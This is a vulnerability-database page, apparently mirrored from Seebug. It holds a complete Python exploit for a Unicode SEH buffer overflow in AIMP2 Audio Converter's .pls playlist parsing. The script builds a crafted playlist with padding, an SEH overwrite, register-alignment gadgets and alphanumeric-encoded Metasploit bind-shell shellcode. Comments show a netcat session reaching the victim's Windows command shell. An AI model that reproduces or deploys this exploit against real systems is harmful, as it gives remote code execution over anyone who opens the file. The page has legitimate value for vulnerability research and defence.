Lucene search
K

AIMP2 Audio Converter <= 2.53 build 330 Playlist (.pls) Unicode BOF

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 15 Views

AIMP2 Audio Converter Unicode Buffer Overflo

Code

                                                #!/usr/bin/python
#
# ######################################################################
# Author contact    : seeleymagic[at]hotmail[dot]com
# ######################################################################
#
# *** For educational purposes only ***
#        You have been warned
#
# My original crash breakdown:
# 
# EAX 001B0020 UNICODE &#34;AAAAAAAAAAAAAAAAAAAA~
# ECX 00000273
# EDX 00000C4C
# EBX 00000000
# ESP 0012DCA8
# EBP 0012DD64
# ESI 001B6610 UNICODE &#34;AAAAAAAAAAAAAAAAAAAA~
# EDI 00130000 ASCII &#34;Actx &#34;
# EIP 004530C6 AIMP2.004530C6
#
# And then when we pass the exemption handler to overwrite EIP...
#
# EIP 00410041
#
# The Info:
#
# I knew this exploit was always possible, but I failed to have the knowledge
# and experiance to complete it. Many thanks goes to corelanc0d3r for 
# demonstrating this unicode concept on his blog. I downloaded his PoC however it  
# did not work on my VM so I remade it with some fun shellcode :)
#
# Visit corelanc0d3r&#39;s blog: http://www.corelan.be:8800/
#
# root@home:/home/mrme# nc -v 192.168.2.6 1337
# 192.168.2.6: inverse host lookup failed: Unknown server error : Connection timed out
# (UNKNOWN) [192.168.2.6] 1337 (?) open
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# C:\Program Files\AIMP2\Langs&#62;
# 

# Metasploit bind shell on port 1337
# Encoded using Skylined&#39;s alpha2 encoder

shellcode = (&#34;PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQA&#34;
&#34;IAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1&#34;
&#34;111AIAJQI1AYAZBABABABAB30APB944JBKLQZJKPMK8JYKOKOKOQPTK&#34;
&#34;2LMTMTDKOUOLTKCLKUT8M1JOTKPOLXTKQOMPM1JKOY4KNTTKM1JNNQ9&#34;
&#34;04Y6LU4I0D4M77QHJLMKQ92ZKL4OK0TMTO8BUIUTK1OO4KQZK1VDKLL&#34;
&#34;PKTKQOMLM1ZKM3NLTKU9RLMTMLQQ7SNQ9KQTTK0CNP4KOPLL4KRPMLV&#34;
&#34;M4KOPLHQN384NPNLNJLPPKOJ6QVPSQVQX03OBRHT7RSNR1OB4KO8PBH&#34;
&#34;XKZMKLOKR0KOHVQOU9YU1VE1JMM8KRB5QZLBKOXPBH8YM9JUFMQGKOZ&#34;
&#34;6PSPSR30SQCPC23PCPSKOXPC6RHKUP936PSSYYQV5QX5TMJ40GWPWKO&#34;
&#34;8VRJLPR1R5KOHPQXG4VMNNIY0WKOZ6QC25KOXPBH9U19U6OY27KO9FP&#34;
&#34;PR4R41EKOXPUC1X9W49GVRYPWKO8V0UKOXP1VQZRD2FQXQSBMU9YUQZ&#34;
&#34;0PPYNI8LTI9W2J14U9K201GPKCUZKNORNMKNPBNL63TM2ZNXVKFK6KQ&#34;
&#34;XBRKNVSN6KOT5Q4KOIFQK0WB2PQ0Q0Q1ZM1PQR1PUR1KOXPRHVMJ9KU&#34;
&#34;8NQCKOHVQZKOKO07KOZ0DK0WKLTCWTRDKOHV0RKO8P38JPTJKTQOR3K&#34;
&#34;O8VKO8PKZA&#34;)

header = (&#34;[playlist]\nNumberOfEntries=3\n\n&#34;);
header += (&#34;File1=&#34;);
crash = (&#39;\x41&#39; * 1985)	        	# offset before shellcode
crash += shellcode			# add the shellcode
crash += (&#39;\41&#39; * (4033-len(crash)))	# remaining offset (1st block)
crash += (&#39;\x41\x6d&#39;)           	# inc ecx + add byte ptr [ebp],ch
crash += (&#39;\x0e\x45&#39;)           	# seh handler (p/p/r in aimp2.dll)

# We needed an address that is located at or close to our shellcode
# We find one on the forth address from the stack

align = &#39;\x58&#39; 				# pop eax
align += &#39;\x6d&#39;
align += &#39;\x58&#39;  			# pop eax
align += &#39;\x6d&#39;
align += &#39;\x58&#39;  			# pop eax
align += &#39;\x6d&#39;
align += &#39;\x58&#39;  			# pop eax
align += &#39;\x6d&#39;

# Here we adjust the value of eax to the address of where our shellcode
# is.. (in the original buffer)

align += &#39;\x05\x02\x22&#39;			# add eax,22000200    
align += &#39;\x6d&#39;  
align += &#39;\x2d\x09\x11&#39;   		# sub eax,11000900
align += &#39;\x6d&#39; 
align += &#39;\x2d\x09\x11&#39;   		# sub eax,11000900
align += &#39;\x6d&#39;   

# Eax now equals 0x0012EDA0 which is the location of our shellcode. We push
# eax onto the stack and jump to it so its executed

jump =&#39;\x50&#39;				# push eax 		  
jump += &#39;\x6d&#39;	
jump += &#39;\xc3&#39; 				# jmp eax 

finish = (&#39;\x42&#39; * (963-len(align)-len(jump)))
buffer = header + crash + align + jump + finish + &#39;\n&#39;

file=open(&#39;mr_me_owns_aimp.pls&#39;,&#39;w&#39;)
file.write(buffer)
file.close()
print &#34;[+] mr_me_owns_aimp.pls file created successfully&#34;

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation